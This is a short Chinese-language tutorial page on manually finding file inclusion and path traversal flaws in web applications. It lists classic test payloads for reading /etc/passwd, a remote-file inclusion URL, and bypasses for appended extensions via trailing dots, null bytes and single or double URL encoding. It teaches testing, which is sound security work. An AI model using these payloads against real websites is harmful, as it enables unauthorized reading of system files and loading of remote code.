首页 > 代码库 > 手动挖掘漏洞(二)

手动挖掘漏洞(二)

漏洞特征
?page=a.php
?home=b.html
?file=content
 
经典测试方式
?file=../../../../etc/passwd  根据相对路径加载文件
?file=/etc/passwd 根据绝对路径加载文件
?page=file:///etc/passwd 
?home=main.cgi
?page=http://www.a.com/1.php 根据外部url,加载远程文件
http://1.1.1.1/../../../../dir/file.txt
 
根据外部url加载远程文件
技术分享

有时候加载文件时,比如 

?file=/etc/passwd

可能会提示/etc/passwd.php文件找不到,这是因为网站开发者可能用了某些过滤机制在文件名后面自动补全为.php文件,我们只时想找passwd这个文件并不希望去找一个.php文件,这时我们需要绕过字符的过滤,php5.3以前,通过一些简单地修改就能绕过过滤:

加“.” : ?file=/etc/passwd.

加“%00” : ?file=/etc/passwd%00    ,%00表示null

 

../url编码为%2e%2e%2f

..\编码为%2e%2e%5c

../双层编码为%252e%252e%255c
 

 

手动挖掘漏洞(二)